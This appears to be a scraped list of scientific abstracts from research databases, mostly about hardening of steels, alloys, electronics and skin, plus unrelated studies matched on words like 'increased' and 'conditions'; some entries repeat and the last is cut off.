by a strain hardened material International Nuclear Information System (INIS) Gouin, H. 1999-01-01 The aim of this study is to analyse the consequence of radiation on different structure submitted to imposed displacement loading and for damages due to plastic instability or rupture. The main consequence of radiation is a material hardening with a ductility decrease. This effect is similar to initial mechanical hardening: the mechanical properties (determined on smooth tensile specimen) evolve in the same way while irradiation or mechanical hardening increase. So in this study, radiation hardening is simulated by mechanical hardening (swaging). Tests were carried out for which two damages were considered: plastic instability and rupture. These two damages were studied with initial mechanical hardening (5 tested hammering rate 0, 15, 25, 35 and 45% on 316L stainless steel). Likewise two types of loading were studied: tensile or bending loading on specimens with or without geometrical singularities (notches). From tensile tests, two deformation criteria are proposed for prevention against the two quoted damages. Numerical study is carried out allowing to confirm hypothesis made at the time of the tensile test result interpretation and to validate the rupture criterion by applying on bending test. (author) 1. Influence of cyclic temperature changes on the microstructure of AISI 4140 after laser surface hardening International Nuclear Information System (INIS) Miokovic, T.; Schulze, V.; Voehringer, O.; Loehe, D. 2007-01-01 In recent years laser surface hardening using pulsed laser sources has become an increasingly established technology in engineering industry and has opened up wider possibilities for the application of selective surface hardening. However, the choice of the process parameters is generally based on experience rather than on their empirical influence on the resulting microstructure, and for hardening processes with cyclic temperature changes, almost no correlations between process parameters and hardening results are known. Therefore, some problems regarding the choice of the process parameters and their influence on the resulting microstructure still remain. In particular, there is a lack of data concerning the effect of cyclic temperature changes on hardening. To facilitate process optimization, this paper deals with a detailed characterization of the microstructures created in quenched and tempered AISI 4140 (German grade 42CrMo4) steel following a temperature-dependent laser surface hardening treatment. The structure properties were obtained from microhardness measurements, scanning electron microscopy investigations and X-ray diffraction analysis of retained austenite 2. Influence of cyclic temperature changes on the microstructure of AISI 4140 after laser surface hardening Energy Technology Data Exchange (ETDEWEB) Miokovic, T. [Institute of Materials Science and Engineering I, University of Karlsruhe, 76131 Karlsruhe (Germany); Schulze, V. [Institute of Materials Science and Engineering I, University of Karlsruhe, 76131 Karlsruhe (Germany)]. E-mail: [email protected]; Voehringer, O. [Institute of Materials Science and Engineering I, University of Karlsruhe, 76131 Karlsruhe (Germany); Loehe, D. [Institute of Materials Science and Engineering I, University of Karlsruhe, 76131 Karlsruhe (Germany) 2007-01-15 In recent years laser surface hardening using pulsed laser sources has become an increasingly established technology in engineering industry and has opened up wider possibilities for the application of selective surface hardening. However, the choice of the process parameters is generally based on experience rather than on their empirical influence on the resulting microstructure, and for hardening processes with cyclic temperature changes, almost no correlations between process parameters and hardening results are known. Therefore, some problems regarding the choice of the process parameters and their influence on the resulting microstructure still remain. In particular, there is a lack of data concerning the effect of cyclic temperature changes on hardening. To facilitate process optimization, this paper deals with a detailed characterization of the microstructures created in quenched and tempered AISI 4140 (German grade 42CrMo4) steel following a temperature-dependent laser surface hardening treatment. The structure properties were obtained from microhardness measurements, scanning electron microscopy investigations and X-ray diffraction analysis of retained austenite. 3. Rationale simplified hardening training and recreational complexes future teachers Directory of Open Access Journals (Sweden) Verbludov I.B. 2010-02-01 Full Text Available Distribution in the modern world epidemiological diseases are influenza and acute respiratory viral infections requires a search for simplified, effective preventive means. The main direction of prevention of these diseases is to strengthen and enhance the activities of the immune system. Strengthening the protective systems of the body is directly related to the constant holding of different types of hardening. This study illustrates the possibility of using quenching air and water in the independent exercise training and recreational facilities in all conditions of students. 4. Design considerations for a radiation hardened nonvolatile memory International Nuclear Information System (INIS) Murray, J.R. 1993-01-01 Sub-optimal design practices can reduce the radiation hardness of a circuit even though it is fabricated in a radiation hardened process. This is especially true for a nonvolatile memory, as compared to a standard digital circuit, where high voltages and unusual bias conditions are required. This paper will discuss the design technique's used in the development of a 64K EEPROM (Electrically Erasable Programmable Read Only Memory) to maximize radiation hardness. The circuit radiation test results will be reviewed in order to provide validation of the techniques 5. Hardening Embrittlement and Non-Hardening Embrittlement of Welding-Heat-Affected Zones in a Cr-Mo Low Alloy Steel Directory of Open Access Journals (Sweden) Yu Zhao 2018-06-01 Full Text Available The embrittlement of heat affected zones (HAZs resulting from the welding of a P-doped 2.25Cr-1Mo steel was studied by the analysis of the fracture appearance transition temperatures (FATTs of the HAZs simulated under a heat input of 45 kJ/cm with different peak temperatures. The FATTs of the HAZs both with and without tempering increased with the rise of the peak temperature. However, the FATTs were apparently lower for the tempered HAZs. For the as-welded (untempered HAZs, the FATTs were mainly affected by residual stress, martensite/austenite (M/A islands, and bainite morphology. The observed embrittlement is a hardening embrittlement. On the other hand, the FATTs of the tempered HAZs were mainly affected by phosphorus grain boundary segregation, thereby causing a non-hardening embrittlement. The results demonstrate that the hardening embrittlement of the as-welded HAZs was more severe than the non-hardening embrittlement of the tempered HAZs. Consequently, a post-weld heat treatment should be carried out if possible so as to eliminate the hardening embrittlement. 6. Skin hardening effect in patients with polymorphic light eruption: comparison of UVB hardening in hospital with a novel home UV-hardening device. Science.gov (United States) Franken, S M; Genders, R E; de Gruijl, F R; Rustemeyer, T; Pavel, S 2013-01-01 An effective prophylactic treatment of patients with polymorphic light eruption (PLE) consists of repeated low, gradually increasing exposures to UVB radiation. This so-called UV(B) hardening induces better tolerance of the skin to sunlight. SunshowerMedical company (Amsterdam) has developed an UV (B) source that can be used during taking shower. The low UV fluence of this apparatus makes it an interesting device for UV hardening. In a group of PLE patients, we compared the effectiveness of the irradiation with SunshowerMedical at home with that of the UVB treatment in the hospital. The PLE patients were randomized for one of the treatments. The hospital treatment consisted of irradiations with broad-band UVB (Waldmann 85/UV21 lamps) twice a week during 6 weeks. The home UV-device was used each day with the maximal irradiation time of 6 min. The outcome assessment was based on the information obtained from patients' dermatological quality of life (DLQI) questionnaires, the ability of both phototherapies to reduce the provocation reaction and from the patients' evaluation of the long-term benefits of their phototherapies. Sixteen patients completed treatment with SunshowerMedical and thirteen completed treatment in hospital. Both types of phototherapy were effective. There was a highly significant improvement in DLQI with either treatment. In most cases, the hardening reduced or even completely suppressed clinical UV provocation of PLE. The patients using SunshowerMedical at home were, however, much more content with the treatment procedure than the patients visiting the dermatological units. Both treatments were equally effective in the induction of skin tolerance to sunlight in PLE patients. However, the home treatment was much better accepted than the treatment in the hospital. © 2011 The Authors. Journal of the European Academy of Dermatology and Venereology © 2011 European Academy of Dermatology and Venereology. 7. Cultivar Mixture Cropping Increased Water Use Efficiency in Winter Wheat under Limited Irrigation Conditions. Directory of Open Access Journals (Sweden) Yunqi Wang Full Text Available The effects of cultivar mixture cropping on yield, biomass, and water use efficiency (WUE in winter wheat (Triticum aestivum L. were investigated under non-irrigation (W0, no irrigation during growth stage, one time irrigation (W1, irrigation applied at stem elongation and two times irrigation (W2, irrigation applied at stem elongation and anthesis conditions. Nearly 90% of cultivar mixture cropping treatments experienced an increase in grain yield as compared with the mean of the pure stands under W0, those for W1 and W2 were 80% and 85%, respectively. Over 75% of cultivar mixture cropping treatments got greater biomass than the mean of the pure stands under the three irrigation conditions. Cultivar mixture cropping cost more water than pure stands under W0 and W1, whereas the water consumption under W2 decreased by 5.9%-6.8% as compared with pure stands. Approximately 90% of cultivar mixtures showed an increase of 5.4%-34.5% in WUE as compared with the mean of the pure stands, and about 75% of cultivar mixtures had 0.8%-28.5% higher WUE than the better pure stands under W0. Similarly, there were a majority of mixture cropping treatments with higher WUE than the mean and the better one of the pure stands under W1 and W2. On the whole, proper cultivar mixture cropping could increase yield and WUE, and a higher increase in WUE occurred under limited irrigation condition. 8. Radiation dose effects, hardening of electronic components International Nuclear Information System (INIS) Dupont-Nivet, E. 1991-01-01 This course reviews the mechanism of interaction between ionizing radiation and a silicon oxide type dielectric, in particular the effect of electron-hole pairs creation in the material. Then effects of cumulated dose on electronic components and especially in MOS technology are examined. Finally methods hardening of these components are exposed. 93 refs 9. CASE-HARDENING OF STAINLESS STEEL DEFF Research Database (Denmark) 2004-01-01 The invention relates to case-hardening of a stainless steel article by means of gas including carbon and/or nitrogen, whereby carbon and/or nitrogen atoms diffuse through the surface into the article. The method includes activating the surface of the article, applying a top layer on the activated... 10. Thermomechanical properties of radiation hardened oligoesteracrylates International Nuclear Information System (INIS) Lomonosova, N.V.; Chikin, Yu.A. 1984-01-01 Thermomechanical properties of radiation hardened oligoesteracrylates are studied by the methods of isothermal heating and thermal mechanics. Films of dimethacrylate of ethylene glycol, triethylene glycol (TGM-3), tetraethylene glycol, tridecaethylene glycol and TGM-3 mixture with methyl methacrylate hardened by different doses (5-150 kGy) using Co 60 installation with a dose rate of 2x10 -3 kGy/s served as a subject of the research. During oligoesteracrylate hargening a space network is formed, chain sections between lattice points of which are in a stressed state. Maximum of deformation is observed at 210-220 deg C on thermomechanical curves of samples hardened by doses > 5 kGy, which form and intensity is dependent on an absorbed dose. Presence of a high-temperature maximum on diaqrams of isometric heating of spatially cross-linked oligoesteracrylates is discovered. High thermal stability of three-dimensional network of radiation hardened oligoesteracrylates provides satisfactory tensile properties (40% of initial strength) in sample testing an elevated temperatures (200-250 deg C) 11. Developing precipitation hardenable high entropy alloys Science.gov (United States) Gwalani, Bharat High entropy alloys (HEAs) is a concept wherein alloys are constructed with five or more elements mixed in equal proportions; these are also known as multi-principle elements (MPEs) or complex concentrated alloys (CCAs). This PhD thesis dissertation presents research conducted to develop precipitation-hardenable high entropy alloys using a much-studied fcc-based equi-atomic quaternary alloy (CoCrFeNi). Minor additions of aluminium make the alloy amenable for precipitating ordered intermetallic phases in an fcc matrix. Aluminum also affects grain growth kinetics and Hall-Petch hardenability. The use of a combinatorial approach for assessing composition-microstructure-property relationships in high entropy alloys, or more broadly in complex concentrated alloys; using laser deposited compositionally graded AlxCrCuFeNi 2 (0 mechanically processed via conventional techniques. The phase stability and mechanical properties of these alloys have been investigated and will be presented. Additionally, the activation energy for grain growth as a function of Al content in these complex alloys has also been investigated. Change in fcc grain growth kinetic was studied as a function of aluminum; the apparent activation energy for grain growth increases by about three times going from Al0.1CoCrFeNi (3% Al (at%)) to Al0.3CoCrFeNi. (7% Al (at%)). Furthermore, Al addition leads to the precipitation of highly refined ordered L12 (gamma') and B2 precipitates in Al0.3CoCrFeNi. A detailed investigation of precipitation of the ordered phases in Al0.3CoCrFeNi and their thermal stability is done using atom probe tomography (APT), transmission electron microscopy (TEM) and Synchrotron X-ray in situ and ex situ analyses. The alloy strengthened via grain boundary strengthening following the Hall-Petch relationship offers a large increment of strength with small variation in grain size. Tensile strength of the Al0.3CoFeNi is increased by 50% on precipitation fine-scale gamma' precipitates 12. Increased betulinic acid induced cytotoxicity and radiosensitivity in glioma cells under hypoxic conditions International Nuclear Information System (INIS) Bache, Matthias; Taubert, Helge; Vordermark, Dirk; Zschornak, Martin P; Passin, Sarina; Keßler, Jacqueline; Wichmann, Henri; Kappler, Matthias; Paschke, Reinhard; Kaluđerović, Goran N; Kommera, Harish 2011-01-01 Betulinic acid (BA) is a novel antineoplastic agent under evaluation for tumor therapy. Because of the selective cytotoxic effects of BA in tumor cells (including gliomas), the combination of this agent with conservative therapies (such as radiotherapy and chemotherapy) may be useful. Previously, the combination of BA with irradiation under hypoxic conditions had never been studied. In this study, the effects of 3 to 30 μM BA on cytotoxicity, migration, the protein expression of PARP, survivin and HIF-1α, as well as radiosensitivity under normoxic and hypoxic conditions were analyzed in the human malignant glioma cell lines U251MG and U343MG. Cytotoxicity and radiosensitivity were analyzed with clonogenic survival assays, migration was analyzed with Boyden chamber assays (or scratch assays) and protein expression was examined with Western blot analyses. Under normoxic conditions, a half maximal inhibitory concentration (IC 50 ) of 23 μM was observed in U251MG cells and 24 μM was observed in U343MG cells. Under hypoxic conditions, 10 μM or 15 μM of BA showed a significantly increased cytotoxicity in U251MG cells (p = 0.004 and p = 0.01, respectively) and U343MG cells (p < 0.05 and p = 0.01, respectively). The combination of BA with radiotherapy resulted in an additive effect in the U343MG cell line under normoxic and hypoxic conditions. Weak radiation enhancement was observed in U251MG cell line after treatment with BA under normoxic conditions. Furthermore, under hypoxic conditions, the incubation with BA resulted in increased radiation enhancement. The enhancement factor, at an irradiation dose of 15 Gy after treatment with 10 or 15 μM BA, was 2.20 (p = 0.02) and 4.50 (p = 0.03), respectively. Incubation with BA led to decreased cell migration, cleavage of PARP and decreased expression levels of survivin in both cell lines. Additionally, BA treatment resulted in a reduction of HIF-1α protein under hypoxic conditions. Our results suggest that BA is capable 13. idRHa+ProMod - Rail Hardening Control System International Nuclear Information System (INIS) Ferro, L 2016-01-01 idRHa+ProMod is the process control system developed by Primetals Technologies to foresee the thermo-mechanical evolution and micro-structural composition of rail steels subjected to slack quenching into idRHa+ Rail Hardening equipments in a simulation environment. This tool can be used both off-line or in-line, giving the user the chance to test and study the best cooling strategies or letting the automatic control system free to adjust the proper cooling recipe. Optimization criteria have been tailored in order to determine the best cooling conditions according to the metallurgical requirements imposed by the main rail standards and also taking into account the elastoplastic bending phenomena occurring during all stages of the head hardening process. The computational core of idRHa+ProMod is a thermal finite element procedure coupled with special algorithms developed to work out the main thermo-physical properties of steel, to predict the non-isothermal austenite decomposition into all the relevant phases and subsequently to evaluate the amount of latent heat of transformation released, the compound thermal expansion coefficient and the amount of plastic deformation in the material. Air mist and air blades boundary conditions have been carefully investigated by means of pilot plant tests aimed to study the jet impingement on rail surfaces and the cooling efficiency at all working conditions. Heat transfer coefficients have been further checked and adjusted directly on field during commissioning. idRHa+ is a trademark of Primetals Technologies Italy Srl (paper) 14. idRHa+ProMod - Rail Hardening Control System Science.gov (United States) Ferro, L. 2016-03-01 idRHa+ProMod is the process control system developed by Primetals Technologies to foresee the thermo-mechanical evolution and micro-structural composition of rail steels subjected to slack quenching into idRHa+ Rail Hardening equipments in a simulation environment. This tool can be used both off-line or in-line, giving the user the chance to test and study the best cooling strategies or letting the automatic control system free to adjust the proper cooling recipe. Optimization criteria have been tailored in order to determine the best cooling conditions according to the metallurgical requirements imposed by the main rail standards and also taking into account the elastoplastic bending phenomena occurring during all stages of the head hardening process. The computational core of idRHa+ProMod is a thermal finite element procedure coupled with special algorithms developed to work out the main thermo-physical properties of steel, to predict the non-isothermal austenite decomposition into all the relevant phases and subsequently to evaluate the amount of latent heat of transformation released, the compound thermal expansion coefficient and the amount of plastic deformation in the material. Air mist and air blades boundary conditions have been carefully investigated by means of pilot plant tests aimed to study the jet impingement on rail surfaces and the cooling efficiency at all working conditions. Heat transfer coefficients have been further checked and adjusted directly on field during commissioning. idRHa+ is a trademark of Primetals Technologies Italy Srl 15. Prematurity and low weight at birth as new conditions predisposing to an increased cardiovascular risk. Science.gov (United States) Mercuro, Giuseppe; Bassareo, Pier Paolo; Flore, Giovanna; Fanos, Vassilios; Dentamaro, Ilaria; Scicchitano, Pietro; Laforgia, Nicola; Ciccone, Marco Matteo 2013-04-01 Although the survival rate for preterm subjects has improved considerably, due to the progress in the field of perinatal medicine, preterm birth is frequently the cause underlying a series of notorious complications: morphological, neurological, ophthalmological, and renal alterations. In addition, it has recently been demonstrated how low gestational age and reduced foetal growth contribute towards an increased cardiovascular risk in preterm neonates. In fact, cardiovascular mortality is higher among former preterm adults than those born at term. This condition is referred to as cardiovascular perinatal programming. In the light of the above, an early, constant, and prolonged cardiological followup programme should be implemented in former preterm individuals. The aim of this paper was to perform a comprehensive literature review about two new emerging conditions predisposing to an increased cardiovascular risk: prematurity and low weight at birth. 16. Increased fitness of a key appendicularian zooplankton species under warmer, acidified seawater conditions. Directory of Open Access Journals (Sweden) Jean-Marie Bouquet Full Text Available Ocean warming and acidification (OA may alter the fitness of species in marine pelagic ecosystems through community effects or direct physiological impacts. We used the zooplanktonic appendicularian, Oikopleura dioica, to assess temperature and pH effects at mesocosm and microcosm scales. In mesocosms, both OA and warming positively impacted O. dioica abundance over successive generations. In microcosms, the positive impact of OA, was observed to result from increased fecundity. In contrast, increased pH, observed for example during phytoplankton blooms, reduced fecundity. Oocyte fertility and juvenile development were equivalent under all pH conditions, indicating that the positive effect of lower pH on O. dioica abundance was principally due to increased egg number. This effect was influenced by food quantity and quality, supporting possible improved digestion and assimilation at lowered pH. Higher temperature resulted in more rapid growth, faster maturation and earlier reproduction. Thus, increased temperature and reduced pH had significant positive impacts on O. dioica fitness through increased fecundity and shortened generation time, suggesting that predicted future ocean conditions may favour this zooplankton species. 17. Numerical investigation of the effect of friction conditions to increase die life Science.gov (United States) Mutlu, M. O.; Guleryuz, C. G.; Parlar, Z. 2017-02-01 The standard die materials in aluminium extrusion offer good mechanical properties like high tempering resistance, high strength and ductility. On the other hand, they struggle with the problem of sliding wear. As a result, there is a growing interest in using surface treatment techniques to increase the wear resistance of extrusion dies. In this study, it is aimed to observe the effects of the different friction conditions on material flow and contact pressure in extrusion process. These friction conditions can be obtained with the application of a variety of surface treatment. In this way, it is expected to decrease the friction force on the die bearing area and to increase the homogeneity of the material flow which will result in the increase of the quality of the extrudate as well as the improvement of the process economically by extending die life. For this purpose, an extrusion process is simulated with a finite element software. A die made of 1.2344 hot work tool steel-commonly used die material for aluminium extrusion process- has been modelled and Al 1100 alloy used as billet material. Various friction factor values defined on the die surface under the same process parameters and effects of changing frictional conditions on the die and the extrusion process have been discussed. 18. Commentary: Air-conditioning as a risk for increased use of healthservices Energy Technology Data Exchange (ETDEWEB) Mendell, Mark J. 2004-06-01 In this issue of the journal, Preziosi et al. [2004] report the first study to assess differences in the utilization of health care related to the presence of air-conditioning in office workplaces. Although the study was simple and cross-sectional, the data variables from questionnaires, and the findings subject to a variety of questions, the findings are striking enough to deserve clarification. The study used a large random national sample of French women assembled for another purpose (to study antioxidant nutrients and prevention of cancer and cardiovascular disease). Participants reported health services and health events in monthly questionnaires over 1 year, and in one questionnaire in the middle of that period also reported whether air-conditioning was in use at their workplace. Fifteen percent of participants reported air-conditioning at work. Analyses adjusting for age and smoking status of participants found increases in most outcomes assessed: use of specific kinds of physicians, sickness absence, and hospital stays. While the increases in odds ratios (OR) and 95% confidence intervals (CI) were statistically significant for only otorhinolaryngology [OR (95% CI) = 2.33 (1.35-4.04)] and sickness absence [1.70 (1.13-2.58)], other increases were notable--dermatology [1.6 (0.98-2.65)]; hospital stay [1.51 (0.92-2.45)], and pneumonology [2.10 (0.65-6.82)]. The least elevated outcomes were for general practice medicine [0.99 (0.65-1.48)] and global medical visits [1.18 (0.67-2.07)]. [Preziosi et al., 2004 ,(Table 2)] Odds ratios for relatively common health outcomes often lie farther from the null than the risk ratios most useful for quantifying the increase in risk. Risk ratios, or prevalence ratios (PRs, the equivalent measure of effect for cross-sectional data), have seldom been used because of the convenience and availability of logistic regression models that estimate odds ratios. With baseline prevalences ranging up to 85.7% in the data from Preziosi et 19. Increased 30-Day Emergency Department Revisits Among Homeless Patients with Mental Health Conditions Directory of Open Access Journals (Sweden) Chun Nok Lam 2016-09-01 Full Text Available Introduction: Patients with mental health conditions frequently use emergency medical services. Many suffer from substance use and homelessness. If they use the emergency department (ED as their primary source of care, potentially preventable frequent ED revisits and hospital readmissions can worsen an already crowded healthcare system. However, the magnitude to which homelessness affects health service utilization among patients with mental health conditions remains unclear in the medical community. This study assessed the impact of homelessness on 30-day ED revisits and hospital readmissions among patients presenting with mental health conditions in an urban, safety-net hospital. Methods: We conducted a secondary analysis of administrative data on all adult ED visits in 2012 in an urban safety-net hospital. Patient demographics, mental health status, homelessness, insurance coverage, level of acuity, and ED disposition per ED visit were analyzed using multilevel modeling to control for multiple visits nested within patients. We performed multivariate logistic regressions to evaluate if homelessness moderated the likelihood of mental health patients’ 30-day ED revisits and hospital readmissions. Results: Study included 139,414 adult ED visits from 92,307 unique patients (43.5±15.1 years, 51.3% male, 68.2% Hispanic/Latino. Nearly 8% of patients presented with mental health conditions, while 4.6% were homeless at any time during the study period. Among patients with mental health conditions, being homeless contributed to an additional 28.0% increase in likelihood (4.28 to 5.48 odds of 30-day ED revisits and 38.2% increase in likelihood (2.04 to 2.82 odds of hospital readmission, compared to non-homeless, non-mental health (NHNM patients as the base category. Adjusted predicted probabilities showed that homeless patients presenting with mental health conditions have a 31.1% chance of returning to the ED within 30-day post discharge and a 3 20. Radiation hardened COTS-based 32-bit microprocessor International Nuclear Information System (INIS) Haddad, N.; Brown, R.; Cronauer, T.; Phan, H. 1999-01-01 A high performance radiation hardened 32-bit RISC microprocessor based upon a commercial single chip CPU has been developed. This paper presents the features of radiation hardened microprocessor, the methods used to radiation harden this device, the results of radiation testing, and shows that the RAD6000 is well-suited for the vast majority of space applications. (authors) 1. Effect of martensitic phase transformation on the hardening behavior and texture evolution in a 304L stainless steel under compression at liquid nitrogen temperature Energy Technology Data Exchange (ETDEWEB) Cakmak, Ercan [Department of Materials Science and Engineering, The University of Tennessee, Knoxville, TN 37996 (United States); Vogel, Sven C. [Los Alamos Neutron Science Center, Los Alamos National Laboratory, Los Alamos, NM 87545 (United States); Choo, Hahn, E-mail: [email protected] [Department of Materials Science and Engineering, The University of Tennessee, Knoxville, TN 37996 (United States) 2014-01-01 The martensitic phase transformation behavior and its relations with the macroscopic hardening rate and the evolutions in the crystallographic texture of the constituent phases were studied for a 304L stainless steel that exhibits the transformation induced plasticity (TRIP) phenomenon. Time-of-flight neutron diffraction was used to measure the evolutions of phase fractions and texture in terms of pole figures as a function of the applied compressive strain at the liquid nitrogen temperature (77 K). The phase transformation analyses show that the hcp-martensite phase fraction reaches a significant level of about 22 wt% at 15% applied strain and remains constant. The bcc-martensite phase fraction increases continuously with the deformation that correlates well with the macroscopic hardening behavior. Furthermore, the texture analyses show that transformation has dominant effect on the bcc-martensite texture evolution with little influence from subsequent plastic deformation at current testing conditions. 2. Effect of martensitic phase transformation on the hardening behavior and texture evolution in a 304L stainless steel under compression at liquid nitrogen temperature International Nuclear Information System (INIS) Cakmak, Ercan; Vogel, Sven C.; Choo, Hahn 2014-01-01 The martensitic phase transformation behavior and its relations with the macroscopic hardening rate and the evolutions in the crystallographic texture of the constituent phases were studied for a 304L stainless steel that exhibits the transformation induced plasticity (TRIP) phenomenon. Time-of-flight neutron diffraction was used to measure the evolutions of phase fractions and texture in terms of pole figures as a function of the applied compressive strain at the liquid nitrogen temperature (77 K). The phase transformation analyses show that the hcp-martensite phase fraction reaches a significant level of about 22 wt% at 15% applied strain and remains constant. The bcc-martensite phase fraction increases continuously with the deformation that correlates well with the macroscopic hardening behavior. Furthermore, the texture analyses show that transformation has dominant effect on the bcc-martensite texture evolution with little influence from subsequent plastic deformation at current testing conditions 3. The variation of work hardening characteristics of Al-5 wt% Mg alloy during phase transition International Nuclear Information System (INIS) Mahmoud, M.A.; Sobhy, M.; Abd El-Rehim, A.F.; Abdel Rahman, R.M. 2010-01-01 The aim of this study is to investigate the effect of aging conditions on the stress-strain behavior along with microstructure changes of the Al-5 wt% Mg alloy. Following solid solution treatment and aging of specimens at temperatures ranging from 373 to 573 K for various aging times (1/4 to 4 h), stress-strain tests were performed at different testing temperatures (313-343 K). The work hardening parameters (σ y , σ f , χ p and Y) were found to decrease continuously with pre-aging times at all aging and testing temperatures, where the softening parameters (ε f and L) oppose this behavior. The variation in stress-strain parameters with increasing aging temperatures and aging times was explained on the basis of structural transformations taking place in the Al-Mg alloy. A precipitate-dislocation intersections mechanism was assumed as the rate-controlling mechanism for alloy. 4. Does red noise increase or decrease extinction risk? Single extreme events versus series of unfavorable conditions. Science.gov (United States) Schwager, Monika; Johst, Karin; Jeltsch, Florian 2006-06-01 Recent theoretical studies have shown contrasting effects of temporal correlation of environmental fluctuations (red noise) on the risk of population extinction. It is still debated whether and under which conditions red noise increases or decreases extinction risk compared with uncorrelated (white) noise. Here, we explain the opposing effects by introducing two features of red noise time series. On the one hand, positive autocorrelation increases the probability of series of poor environmental conditions, implying increasing extinction risk. On the other hand, for a given time period, the probability of at least one extremely bad year ("catastrophe") is reduced compared with white noise, implying decreasing extinction risk. Which of these two features determines extinction risk depends on the strength of environmental fluctuations and the sensitivity of population dynamics to these fluctuations. If extreme (catastrophic) events can occur (strong noise) or sensitivity is high (overcompensatory density dependence), then temporal correlation decreases extinction risk; otherwise, it increases it. Thus, our results provide a simple explanation for the contrasting previous findings and are a crucial step toward a general understanding of the effect of noise color on extinction risk. 5. Increase in biofilm formation by Escherichia coli under conditions that mimic the mastitic mammary gland Directory of Open Access Journals (Sweden) João Carlos Miguel Costa 2014-04-01 Full Text Available Bacterial biofilms are involved in the aggravation and recurrence of clinical mastitis in dairy herds. Several factors such as pH, temperature, concentration of O2 and glucose can affect their induction and growth rates. In this study, biofilm production was demonstrated by 27 Escherichia coli strains isolated from bovine mastitis at different pH values depending on the availability of glucose, mimicking conditions found in mammary glands affected by the disease. Biofilm formation was analyzed by spectrophotometric analysis in microtiter plate with 16 different culture media and by scanning electron microscopy. Biofilm formation was greater in isolates cultured under conditions associated with low glucose availability (0.5% or 1.5% and with either an acidic (5.5 or alkaline (8.5 pH, compared to conditions associated with high glucose availability (2.5% or 3.5% and near-neutral pH (6.5 or 7.5. Results indicate possible favoring of biofilm production in the later stages of the infectious process caused by E. coli, when the gland environment is less propitious to bacterial growth due to the stress conditions mentioned above; contrasting with the environment of the healthy mammary gland, in which there is no limitation on nutrients or conditions of particular alkalinity or acidity. Thus, knowledge of the stage in which is the infection and environmental conditions of the mammary gland that cause increased production of biofilms is of paramount importance to guide the most appropriate control strategies to prevent relapse after treatment of bovine mastitis, an economically important disease in dairy cattle worldwide. 6. Dynamic simulation of solution hardening International Nuclear Information System (INIS) Schwarz, R.B.; Labusch, R. 1978-01-01 The flow stress for the motion of a dislocation through a random array of weak obstacles of finite interaction range, and in the presence of viscous forces, has been calculated by integrating numerically the equation of motion in a digital computer. Through a normalization of the coordinates and time it is shown that the normalized critical stress S is a function of only two parameters: a normalized obstacle depth eta 0 and a normalized viscous damping γ. Numerical values of S were obtained for stepwise changes in eta 0 and γ and for a set of boundary conditions compatible with real experiments. For γ> or approx. =3, S becomes independent of γ and of the initial conditions for the dislocation motion. The results reproduce the analytical dependences of the theories that have been developed for extreme values of eta 0 , providing furthermore the proportionality constants and the extent of eta 0 for which these theories are applicable. For γ 0 and γ and of the initial conditions for the dislocation motion: For a dislocation starting from rest there is an upper critical stress to initiate the motion, lower in value than S (γ>3), while for a dislocation already in motion there is an even lower critical stress at which the dislocation stops moving. The latter corresponds to that calculated by the previous inertial theories, while the former had not been accounted for previously 7. Neutron energy spectrum influence on irradiation hardening and microstructural development of tungsten Energy Technology Data Exchange (ETDEWEB) Fukuda, Makoto, E-mail: [email protected] [Tohoku University, Sendai, 980-8579 (Japan); Kiran Kumar, N.A.P.; Koyanagi, Takaaki; Garrison, Lauren M. [Oak Ridge National Laboratory, Oak Ridge, TN, 37831 (United States); Snead, Lance L. [Massachusetts Institute of Technology, Cambridge, MA, 02139 (United States); Katoh, Yutai [Oak Ridge National Laboratory, Oak Ridge, TN, 37831 (United States); Hasegawa, Akira [Tohoku University, Sendai, 980-8579 (Japan) 2016-10-15 Neutron irradiation to single crystal pure tungsten was performed in the mixed spectrum High Flux Isotope Reactor (HFIR). To investigate the influences of neutron energy spectrum, the microstructure and irradiation hardening were compared with previous data obtained from the irradiation campaigns in the mixed spectrum Japan Material Testing Reactor (JMTR) and the sodium-cooled fast reactor Joyo. The irradiation temperatures were in the range of ∼90–∼800 °C and fast neutron fluences were 0.02–9.00 × 10{sup 25} n/m{sup 2} (E > 0.1 MeV). Post irradiation evaluation included Vickers hardness measurements and transmission electron microscopy. The hardness and microstructure changes exhibited a clear dependence on the neutron energy spectrum. The hardness appeared to increase with increasing thermal neutron flux when fast fluence exceeds 1 × 10{sup 25} n/m{sup 2} (E > 0.1 MeV). Irradiation induced precipitates considered to be χ- and σ-phases were observed in samples irradiated to >1 × 10{sup 25} n/m{sup 2} (E > 0.1 MeV), which were pronounced at high dose and due to the very high thermal neutron flux of HFIR. Although the irradiation hardening mainly caused by defects clusters in a low dose regime, the transmutation-induced precipitation appeared to impose additional significant hardening of the tungsten. - Highlights: • The microstructure and irradiation hardening of single crystal pure W irradiated in HFIR was investigated. • The neutron energy spectrum influence was evaluated by comparing the HFIR results with previous work in Joyo and JMTR. • In the dose range up to ∼1 dpa, the neutron energy spectrum influence of irradiation hardening was not clear. • In the dose range above 1 dpa, the neutron energy influence on irradiation hardening and microstructural development was clearly observed. • The irradiation induced precipitates caused significant irradiation hardening of pure W irradiated in HFIR. 8. Study of the mechanisms involved in the laser superficial hardening process of metallic alloys International Nuclear Information System (INIS) Silva, Edmara Marques Rodrigues da 2001-01-01 The laser superficial hardening process of a ferrous alloy (gray cast iron) and of an aluminum-silicon alloy was investigated in this work. These metallic alloys are used in the automobile industry for manufacturing cylinders and pistons, respectively. By application of individual pulses and single tracks, the involved mechanisms during the processing were studied. Variables such as energy density, power density, temporal width, beam diameter on the sample surface, atmosphere of the processing region, overlapping and scanning velocity. The hardened surface was characterized by optical and scanning electronic microscopy, dispersive energy microanalysis, X-ray mapping, X-ray diffraction, and measurements of roughness and Vickers microhardness. Depending on the processing parameters, it is possible to obtain different microstructures. The affected area of gray cast iron, can be hardened by remelting or transformation hardening (total or partial) if the reached temperature is higher or not that of melting temperature. Laser treatment originated new structures such as retained austenite, martensite and, occasionally, eutectic of cellular dendritic structure. Aluminum-silicon alloy does not have phase transformation in solid state, it can be hardened only by remelting. The increase of hardness is a function of the precipitation hardening process, which makes the silicon particles smaller and more disperse in the matrix. Maximal values of microhardness (700-1000 HV) were reached with the laser treatment in gray cast iron samples. The initial microhardness is of 242 HV. For aluminum-silicon alloy, the laser remelting increases the initial microhardness of 128 HV to the range of 160-320 HV. The found results give a new perspective for using the CLA/IPEN's laser in the heat treatment area. Besides providing a higher absorptivity to the materials, compared with the CO 2 laser, and optical fiber access, the superficial hardening with Nd:YAG laser, depending on the level of 9. Central pipecolic acid increases food intake under ad libitum feeding conditions in the neonatal chick. Science.gov (United States) Takagi, Tomo; Tachibana, Tetsuya; Saito, Ei-Suke; Tomonaga, Shouzou; Saito, Shin; Bungo, Takashi; Denbow, D 